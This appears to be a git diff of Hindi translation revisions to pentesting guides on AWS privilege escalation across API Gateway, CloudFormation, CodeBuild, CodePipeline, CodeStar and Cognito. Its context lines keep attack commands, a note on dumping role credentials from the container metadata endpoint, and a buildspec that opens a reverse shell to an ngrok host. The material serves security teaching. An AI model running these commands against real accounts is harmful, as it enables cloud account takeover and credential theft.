+एक हमलावर जिसके पास `apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` की अनुमति है, **एक मौजूदा API Gateway REST API में एक नया इंटीग्रेशन जोड़ सकता है जिसमें एक IAM भूमिका संलग्न Lambda फ़ंक्शन है**। हमलावर फिर **Lambda फ़ंक्शन को मनमाने कोड को निष्पादित करने के लिए ट्रिगर कर सकता है और संभावित रूप से IAM भूमिका से संबंधित संसाधनों तक पहुंच प्राप्त कर सकता है**।
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
> [!NOTE]
> परीक्षण की आवश्यकता है
-`apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` अनुमतियों के साथ एक हमलावर **एक मौजूदा API गेटवे ऑथराइज़र को संशोधित** कर सकता है ताकि सुरक्षा जांचों को बायपास किया जा सके या API अनुरोध किए जाने पर मनमाने कोड को निष्पादित किया जा सके।
+एक हमलावर जिसके पास `apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे ऑथराइज़र को संशोधित कर सकता है** ताकि सुरक्षा जांचों को बायपास किया जा सके या API अनुरोध किए जाने पर मनमाने कोड को निष्पादित किया जा सके।
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
> [!NOTE]
> परीक्षण की आवश्यकता है
-एक हमलावर जिसके पास अनुमति `apigateway:UpdateVpcLink` है, **एक मौजूदा VPC लिंक को एक अलग नेटवर्क लोड बैलेंसर की ओर मोड़ सकता है, संभावित रूप से निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित कर सकता है**।
+`apigateway:UpdateVpcLink` अनुमति वाला एक हमलावर **एक मौजूदा VPC लिंक को एक अलग नेटवर्क लोड बैलेंसर की ओर मोड़ सकता है, संभावित रूप से निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित कर सकता है**।
```bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 3dd2b6db7..92fa8effd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -37,23 +37,23 @@ aws cloudformation update-stack \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
-The `cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम देने के लिए।
+`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।
**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क।
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट कर सकते हैं** और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से ही संलग्न हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)।
+यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट कर सकते हैं** और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से जुड़ी हुई हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)।
-`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम देने के लिए।
+`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।
-**संभावित प्रभाव:** पहले से संलग्न क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क।
+**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क जो पहले से जुड़ी हुई है।
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
एक हमलावर जिसके पास **भूमिका पास करने और एक ChangeSet बनाने और निष्पादित करने की अनुमति है** वह **एक नया क्लाउडफॉर्मेशन स्टैक बना/अपडेट कर सकता है और क्लाउडफॉर्मेशन सेवा भूमिकाओं का दुरुपयोग कर सकता है** जैसे कि CreateStack या UpdateStack के साथ।
-निम्नलिखित शोषण **[CreateStack एक](./#iam-passrole-cloudformation-createstack)** का एक **भिन्नता है** जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है।
+निम्नलिखित शोषण **CreateStack एक**[ **का एक भिन्नता है**](./#iam-passrole-cloudformation-createstack) जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है।
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
-The `cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `ChangeSet` अनुमतियाँ देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।
+`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `ChangeSet` अनुमतियाँ देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।
**संभावित प्रभाव:** cloudformation सेवा भूमिकाओं के लिए प्रिवेस्क।
@@ -93,13 +93,13 @@ The `cloudformation:SetStackPolicy` अनुमति का उपयोग **
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
-एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट्स बनाने/अपडेट करने के लिए मनमाने क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग कर सकता है।
+एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट बनाने/अपडेट करने के लिए दुरुपयोग कर सकता है ताकि मनमाने क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।
**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिकाओं के लिए प्रिवेस्क।
### `cloudformation:UpdateStackSet`
-एक हमलावर इस अनुमति का दुरुपयोग बिना पासरोल अनुमति के स्टैकसेट्स को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।
+एक हमलावर इस अनुमति का दुरुपयोग बिना passRole अनुमति के स्टैकसेट को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।
**संभावित प्रभाव:** जुड़े क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क।
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index a803f2a31..80d5daa7e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-एक हमलावर उदाहरण के लिए एक **cloudformation template** का उपयोग कर सकता है जो **keys for an admin** उपयोगकर्ता उत्पन्न करता है जैसे:
+एक हमलावर उदाहरण के लिए एक **cloudformation template** का उपयोग कर सकता है जो **keys for an admin** उपयोगकर्ता जैसे उत्पन्न करता है:
```json
{
"Resources": {
@@ -68,7 +68,7 @@ aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
--region uswest-2
```
-### References
+### संदर्भ
- [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index c8c12beee..a06b5cbb9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -12,7 +12,7 @@
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
-इनमें से केवल एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है:
+इनमें से किसी एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -58,16 +58,16 @@ aws codebuild start-build-batch --project --buildspec-override fi
{{#endtab }}
{{#endtabs }}
-**नोट**: इन दो कमांड के बीच का अंतर यह है:
+**नोट**: इन दोनों कमांड के बीच का अंतर यह है:
- `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है।
-- `StartBuildBatch` आपको निर्माणों के एक बैच को शुरू करने की अनुमति देता है, जिसमें अधिक जटिल कॉन्फ़िगरेशन होते हैं (जैसे कई निर्माणों को समानांतर में चलाना)।
+- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशन के साथ निर्माण के बैच को शुरू करने की अनुमति देता है (जैसे कई निर्माणों को समानांतर में चलाना)।
**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क।
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकेगा** एक चल रही भूमिका बनाकर।
+एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकता है** एक चल रही भूमिका बनाकर।
{{#tabs }}
{{#tab name="Example1" }}
@@ -142,11 +142,11 @@ aws codebuild start-build --project-name reverse-shell-project
> [!WARNING]
> एक **Codebuild कंटेनर** में फ़ाइल `/codebuild/output/tmp/env.sh` सभी env vars को शामिल करती है जो **metadata credentials** तक पहुँचने के लिए आवश्यक हैं।
-> इस फ़ाइल में **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** शामिल है जो **URL पथ** को शामिल करता है जिससे क्रेडेंशियल्स तक पहुँच प्राप्त होती है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> इस फ़ाइल में **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** है जो **URL path** को credentials तक पहुँचने के लिए शामिल करता है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
-> इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका क्रेडेंशियल्स को डंप करने में सक्षम होंगे।
+> इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका के credentials को डंप करने में सक्षम होंगे।
-> इसके अलावा, इसमें **env variable `ECS_CONTAINER_METADATA_URI`** भी शामिल है जो **कंटेनर के बारे में मेटाडेटा जानकारी प्राप्त करने के लिए पूर्ण URL** को शामिल करता है।
+> इसके अलावा, इसमें **env variable `ECS_CONTAINER_METADATA_URI`** भी है जो **container के बारे में metadata जानकारी प्राप्त करने के लिए पूर्ण URL** को शामिल करता है।
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -289,7 +289,7 @@ For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
-एक हमलावर जो एक विशिष्ट CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।
+एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपने `buildspec.yml` फ़ाइल को एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।
Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से भिन्न हो, उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो।
```bash
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name
# Wait for the reverse shell :)
```
-आप **reverse shell** प्राप्त करने के लिए ऐसा कुछ **buildspec** का उपयोग कर सकते हैं:
+आप **reverse shell** प्राप्त करने के लिए कुछ ऐसा **buildspec** का उपयोग कर सकते हैं:
```yaml:buildspec.yml
version: 0.2
@@ -317,13 +317,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
-**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका के लिए सीधे प्रिवेलेज वृद्धि, जो आमतौर पर उच्च प्रिवेलेज रखती है।
+**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिविलेज़ वृद्धि, जो आमतौर पर उच्च प्रिविलेज़ रखती है।
> [!WARNING]
-> ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, रूट निर्देशिका से `buildspec.yml` को संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा।
+> ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, `buildspec.yml` को रूट निर्देशिका से संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा।
-अधिक विवरण [यहाँ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं।
+अधिक विवरण [यहां](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं।
-**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेलेज वृद्धि।
+**संभावित प्रभाव:** संलग्न AWS Codebuild भूमिकाओं में सीधे प्रिविलेज़ वृद्धि।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 853c512e4..ebe9d01b5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -12,13 +12,13 @@
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-कोड पाइपलाइन बनाते समय आप एक **कोडपाइपलाइन IAM भूमिका को चलाने के लिए संकेत कर सकते हैं**, इसलिए आप उन्हें समझौता कर सकते हैं।
+कोड पाइपलाइन बनाते समय आप एक **कोडपाइपलाइन IAM भूमिका निर्दिष्ट कर सकते हैं**, इसलिए आप उन्हें समझौता कर सकते हैं।
पिछले अनुमतियों के अलावा, आपको **उस स्थान तक पहुंच की आवश्यकता होगी जहां कोड संग्रहीत है** (S3, ECR, github, bitbucket...)
-मैंने यह प्रक्रिया वेब पृष्ठ पर करते हुए परीक्षण किया, पहले बताए गए अनुमतियाँ कोडपाइपलाइन बनाने के लिए आवश्यक लिस्ट/गेट नहीं हैं, लेकिन इसे वेब पर बनाने के लिए आपको भी आवश्यकता होगी: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+मैंने यह प्रक्रिया वेब पृष्ठ पर करते हुए परीक्षण किया, पहले निर्दिष्ट अनुमतियाँ कोडपाइपलाइन बनाने के लिए आवश्यक नहीं हैं, लेकिन इसे वेब पर बनाने के लिए आपको भी आवश्यकता होगी: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-**बिल्ड प्रोजेक्ट के निर्माण के दौरान** आप एक **कमांड को चलाने के लिए संकेत कर सकते हैं** (रिव शेल?) और बिल्ड चरण को **विशिष्ट उपयोगकर्ता** के रूप में चलाने के लिए, यही वह कॉन्फ़िगरेशन है जिसकी हमलावर को समझौता करने की आवश्यकता है:
+**बिल्ड प्रोजेक्ट** के निर्माण के दौरान आप एक **कमांड निर्दिष्ट कर सकते हैं** (रिव शेल?) और बिल्ड चरण को **विशेषाधिकार प्राप्त उपयोगकर्ता** के रूप में चलाने के लिए, यही वह कॉन्फ़िगरेशन है जिसकी हमलावर को समझौता करने की आवश्यकता है:
.png>)
@@ -30,7 +30,7 @@
### `codepipeline:pollforjobs`
-[AWS उल्लेख करता है](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+[AWS का उल्लेख है](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
> जब इस API को कॉल किया जाता है, तो CodePipeline **पाइपलाइन के लिए कलाकृतियों को संग्रहीत करने के लिए उपयोग किए जाने वाले S3 बकेट के लिए अस्थायी क्रेडेंशियल लौटाता है**, यदि क्रिया को इनपुट या आउटपुट कलाकृतियों के लिए उस S3 बकेट तक पहुंच की आवश्यकता होती है। यह API भी **क्रिया के लिए परिभाषित किसी भी गुप्त मानों को लौटाता है**।
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 0192c7b7a..36eaae2b0 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
### `iam:PassRole`, `codestar:CreateProject`
-इन अनुमतियों के साथ आप **एक codestar IAM भूमिका का दुरुपयोग** कर सकते हैं ताकि **मनमाने कार्य** को **cloudformation टेम्पलेट** के माध्यम से किया जा सके। निम्नलिखित पृष्ठ की जांच करें:
+इन अनुमतियों के साथ आप **एक codestar IAM भूमिका का दुरुपयोग** कर सकते हैं ताकि **मनमाने कार्य** को **cloudformation टेम्पलेट** के माध्यम से किया जा सके। कृपया निम्नलिखित पृष्ठ देखें:
{{#ref}}
iam-passrole-codestar-createproject.md
@@ -39,7 +39,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-role "Owner" \
--remote-access-allowed
```
-यदि आप पहले से ही **प्रोजेक्ट के सदस्य** हैं, तो आप **`codestar:UpdateTeamMember`** अनुमति का उपयोग करके **अपना रोल** मालिक में अपडेट कर सकते हैं, बजाय `codestar:AssociateTeamMember` के।
+यदि आप पहले से ही **प्रोजेक्ट के सदस्य** हैं, तो आप अनुमति **`codestar:UpdateTeamMember`** का उपयोग करके **अपनी भूमिका** को मालिक में अपडेट कर सकते हैं, इसके बजाय `codestar:AssociateTeamMember`।
**संभावित प्रभाव:** codestar नीति में प्रिवेस्क। आप उस नीति का एक उदाहरण यहाँ पा सकते हैं:
@@ -61,10 +61,10 @@ codestar-createproject-codestar-associateteammember.md
- सटीक नाम चुने गए टेम्पलेट पर निर्भर करता है (उदाहरण शोषण स्क्रिप्ट का संदर्भ लें)।
3. **पहुँच और अनुमतियाँ:**
- अपडेट के बाद, आपको स्टैक से जुड़े **CloudFormation IAM भूमिका** के लिए निर्धारित क्षमताएँ प्राप्त होती हैं।
-- नोट: यह स्वाभाविक रूप से पूर्ण व्यवस्थापक विशेषाधिकार प्रदान नहीं करता है। विशेषाधिकारों को और बढ़ाने के लिए वातावरण में अतिरिक्त गलत कॉन्फ़िगर किए गए संसाधनों की आवश्यकता हो सकती है।
+- नोट: यह स्वाभाविक रूप से पूर्ण व्यवस्थापक विशेषाधिकार प्रदान नहीं करता है। विशेषाधिकार बढ़ाने के लिए वातावरण में अतिरिक्त गलत कॉन्फ़िगर किए गए संसाधनों की आवश्यकता हो सकती है।
-अधिक जानकारी के लिए मूल शोध देखें: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-आप शोषण को यहाँ पा सकते हैं [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
+अधिक जानकारी के लिए मूल शोध देखें: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)।\
+आप शोषण को यहाँ पा सकते हैं: [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
**संभावित प्रभाव:** cloudformation IAM भूमिका में प्रिवेस्क।
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 28747ff67..5d560e9c4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
-इन अनुमतियों के साथ आप **एक codestar IAM भूमिका का दुरुपयोग** कर सकते हैं ताकि **मनमाने कार्य** को **cloudformation टेम्पलेट** के माध्यम से किया जा सके।
+इन अनुमतियों के साथ आप **codestar IAM Role** का **दुरुपयोग** करके **मनमाने कार्य** कर सकते हैं **cloudformation template** के माध्यम से।
-इसका लाभ उठाने के लिए, आपको एक **S3 बकेट बनानी होगी जो** हमले वाले खाते से **सुलभ हो**। एक फ़ाइल अपलोड करें जिसका नाम `toolchain.json` हो। इस फ़ाइल में **cloudformation टेम्पलेट का दुरुपयोग** होना चाहिए। निम्नलिखित का उपयोग किया जा सकता है ताकि एक प्रबंधित नीति को आपके नियंत्रण में एक उपयोगकर्ता पर सेट किया जा सके और **उसे व्यवस्थापक अनुमतियाँ दी जा सकें**:
+इसका लाभ उठाने के लिए आपको एक **S3 बकेट बनानी होगी जो** हमले किए गए खाते से **सुलभ** हो। एक फ़ाइल अपलोड करें जिसका नाम `toolchain.json` हो। इस फ़ाइल में **cloudformation template exploit** होना चाहिए। निम्नलिखित का उपयोग किया जा सकता है ताकि एक प्रबंधित नीति को आपके नियंत्रण में एक उपयोगकर्ता पर सेट किया जा सके और **उसे व्यवस्थापक अनुमतियाँ दी जा सकें**:
```json:toolchain.json
{
"Resources": {
@@ -28,13 +28,13 @@
}
}
```
-Also **upload** this `empty zip` file to the **bucket**:
+इस `empty zip` फ़ाइल को **bucket** में भी **upload** करें:
{% file src="../../../../images/empty.zip" %}
-याद रखें कि **दोनों फ़ाइलों के साथ बकेट पीड़ित खाते द्वारा सुलभ होना चाहिए**।
+याद रखें कि **दोनों फ़ाइलों के साथ bucket पीड़ित खाते द्वारा सुलभ होना चाहिए**।
-दोनों चीजें अपलोड करने के बाद, आप अब **exploitation** करते हुए एक **codestar** प्रोजेक्ट बनाने की प्रक्रिया शुरू कर सकते हैं:
+दोनों चीजें **upload** करने के बाद, आप अब **exploitation** करते हुए एक **codestar** प्रोजेक्ट बना सकते हैं:
```bash
PROJECT_NAME="supercodestar"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index bcc453db9..4bb6b286e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -12,9 +12,9 @@ Cognito के बारे में अधिक जानकारी के
### पहचान पूल से क्रेडेंशियल इकट्ठा करना
-चूंकि Cognito **IAM भूमिका क्रेडेंशियल** दोनों **प्रमाणित** और **अप्रमाणित** **उपयोगकर्ताओं** को प्रदान कर सकता है, यदि आप किसी एप्लिकेशन का **पहचान पूल आईडी** ढूंढ लेते हैं (जो कि इसमें हार्डकोडेड होना चाहिए) तो आप नए क्रेडेंशियल प्राप्त कर सकते हैं और इसलिए प्रिवेस्क (एक AWS खाते के अंदर जहां आपके पास पहले से कोई क्रेडेंशियल नहीं हो सकता)।
+चूंकि Cognito **IAM भूमिका क्रेडेंशियल** को **प्रमाणित** और **अप्रमाणित** **उपयोगकर्ताओं** दोनों को प्रदान कर सकता है, यदि आप किसी एप्लिकेशन का **पहचान पूल आईडी** ढूंढ लेते हैं (जो कि इसमें हार्डकोडेड होना चाहिए) तो आप नए क्रेडेंशियल प्राप्त कर सकते हैं और इसलिए प्रिवेस्क (एक AWS खाते के अंदर जहां आपके पास पहले से कोई क्रेडेंशियल नहीं हो सकता)।
-अधिक जानकारी के लिए [**इस पृष्ठ को देखें**](../aws-unauthenticated-enum-access/#cognito).
+अधिक जानकारी के लिए [**इस पृष्ठ को देखें**](../aws-unauthenticated-enum-access/#cognito)。
**संभावित प्रभाव:** अप्रमाणित उपयोगकर्ताओं से जुड़े सेवाओं की भूमिका पर सीधे प्रिवेस्क (और संभवतः प्रमाणित उपयोगकर्ताओं से जुड़े पर)।
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
-यदि cognito ऐप **अनधिकृत उपयोगकर्ताओं को सक्षम नहीं करता है** तो आपको इसे सक्षम करने के लिए `cognito-identity:UpdateIdentityPool` अनुमति की भी आवश्यकता हो सकती है।
+यदि cognito ऐप **अनधिकृत उपयोगकर्ताओं को सक्षम नहीं करता** है, तो आपको इसे सक्षम करने के लिए `cognito-identity:UpdateIdentityPool` अनुमति की भी आवश्यकता हो सकती है।
-**संभावित प्रभाव:** किसी भी cognito भूमिका के लिए सीधे privesc।
+**संभावित प्रभाव:** किसी भी cognito भूमिका के लिए सीधे प्रिवेस्क।
### `cognito-identity:update-identity-pool`
-इस अनुमति के साथ एक हमलावर उदाहरण के लिए एक Cognito उपयोगकर्ता पूल को अपने नियंत्रण में सेट कर सकता है या किसी अन्य पहचान प्रदाता को जहां वह **इस Cognito पहचान पूल तक पहुँचने के लिए लॉगिन कर सकता है**। फिर, बस उस उपयोगकर्ता प्रदाता पर **लॉगिन** करने से **उसे पहचान पूल में कॉन्फ़िगर की गई प्रमाणित भूमिका तक पहुँचने की अनुमति मिलेगी**।
+इस अनुमति के साथ एक हमलावर उदाहरण के लिए एक Cognito उपयोगकर्ता पूल सेट कर सकता है जो उसके नियंत्रण में है या किसी अन्य पहचान प्रदाता जहां वह **इस Cognito पहचान पूल** तक पहुँचने के लिए लॉगिन कर सकता है। फिर, उस उपयोगकर्ता प्रदाता पर **लॉगिन** करने से **उसे पहचान पूल में कॉन्फ़िगर की गई प्रमाणित भूमिका तक पहुँचने की अनुमति मिलेगी**।
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
```
